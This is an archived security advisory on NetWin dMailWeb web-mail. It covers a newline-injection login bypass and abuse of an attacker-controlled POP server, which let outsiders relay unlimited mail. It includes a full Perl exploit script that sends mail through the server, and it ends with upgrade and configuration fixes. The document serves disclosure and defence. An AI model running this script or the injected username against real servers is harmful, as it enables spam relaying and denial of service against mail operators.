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TUCoPS :: Web :: Apps :: dmail4.htm

DMailWeb exploit



Vulnerability

    dMailWeb

Affected

    NetWin dMailWeb

Description

    Chris  Wolfe  found   following.   NetWin   cwMail  also   appears
    vulnerable to the  same attacks, and  appears to be  using exactly
    the same version numbers.   dMailWeb is a CGI application  used to
    provide  web-based  e-mail  in  collaboration  with a standard POP
    server.  Authentication is performed by attempting to log into the
    requested  POP  server  with  the  supplied username password.  An
    optional feature allows  connection to POP  server other than  the
    default (or to a limited list of POP servers).

    This relaying problem appears in two cases.

    Case A: By sending  a specially constructed username  containing a
            newline character any login will be accepted and permitted
            to send  messages through  the server.   This attack  does
            *not* require  any knowledge  of accounts  present on  the
            server or a valid login.

    Case B: If the dMailWeb  system is allowed to authenticate  with a
            POP server that the attacker controls the server can  have
            a large number of accounts created, or simply reply OK  to
            any username/password combination.

    In both cases the attacker can circumvent the max_sends option  by
    changing  users  periodically  and  transmit  virtually  unlimited
    quantities of e-mail through the  default SMTP server used by  the
    dMailWeb process. This also presents a possible denial of  service
    through overloading the system with user configurations.

    Exploit was tested against an internal system and the NetWin  demo
    server.  The script sends a single message; a very similar program
    could transfer massive quantities of mail.

    #!/usr/local/bin/perl
    use HTML::TokeParser;
    use LWP::UserAgent;
    use HTTP::Request::Common;
    
    my $ua = LWP::UserAgent->new();
    
    my $url = 'insert dmailweb URL here';
    
    #
    # To exploit case A use a $user = "any-username\nuser garbage" and
    # comment out the my $pophost = ... line.
    #
    # To exploit case B use a $user that is valid on the $pophost server.
    #
    
    my $user = 'insert username here';
    my $pass = 'insert password here';
    my $pophost = 'insert pop host here';
    
    my $to = 'insert e-mail to address';
    my $subject = 'insert e-mail subject';
    my $message = 'insert e-mail message';
    
    my $r;
    
    my $tcode;
    { # Login - read the tcode
      $r = $ua->request(GET $url);
      my $p = HTML::TokeParser->new(\$r->content);
    
      while (my @tok = @{$p->get_token}) {
        if ($tok[0] eq 'S' && $tok[1] eq 'input' && $tok[2]->{name} eq 'tcode') {
          $tcode = $tok[2]->{value};
          last;
        }
      }
    }
    if (!$tcode) { print ($r->content); exit(1); }
    
    my $utoken;
    { # Send login, get utoken
      $r = $ua->request(POST($url, [
        cmd => 'nflogin',
        user => $user,
        pass => $pass,
        pophost => $pophost,
        tcode => $tcode
      ]));
    
      my $p = HTML::TokeParser->new(\$r->content);
    
      while (my @tok = @{$p->get_token}) {
        if ($tok[0] eq 'S' && $tok[1] eq 'input' && $tok[2]->{name} eq 'utoken') {
          $utoken = $tok[2]->{value};
          last;
        }
      }
    }
    
    { # Send message
      $r = $ua->request(POST($url, [
        cmd => 'send',
        utoken => $utoken,
        to => $to,
        subject => $subject,
        message => $message
      ]));
    }
    if (!$utoken) { print ($r->content); exit(1); }
    
    print $r->content;

Solution

    Case A  was been  fixed in  dMailWeb 2.6g  -- this  version is not
    currently available but the current Beta versions (2.6i and  2.6j)
    also fix  the problem.   Not aware  of any  reasonable fix without
    moving to a newer version of dMailWeb.

    Case  B  is  made  possible  by  the  default configuration of the
    dMailWeb  product  which  allows  any  POP  server to be accessed.
    NetWin's documentation is not adequate and this problem may  exist
    on many sites.  Either of

        force_primary = true

        valid_pop = {list of trusted POP servers}

    should  solve  the  problem.  force_primary  disables  the pophost
    field in  the login  form, only  making it  possible to connect to
    the default  POP server  at login.  valid_pop specifies  a list of
    POP  servers  to  which  the  service  may connect, others will be
    denied with an error message.

    Consider  applying  restrictions  on  the  number  of messages the
    dMailWeb service will be permitted to send over a short period  at
    the  SMTP  server,  though  this  would  allow a denial of service
    attack.  Monitor SMTP logs for large numbers of messages from  the
    server running dMailWeb.


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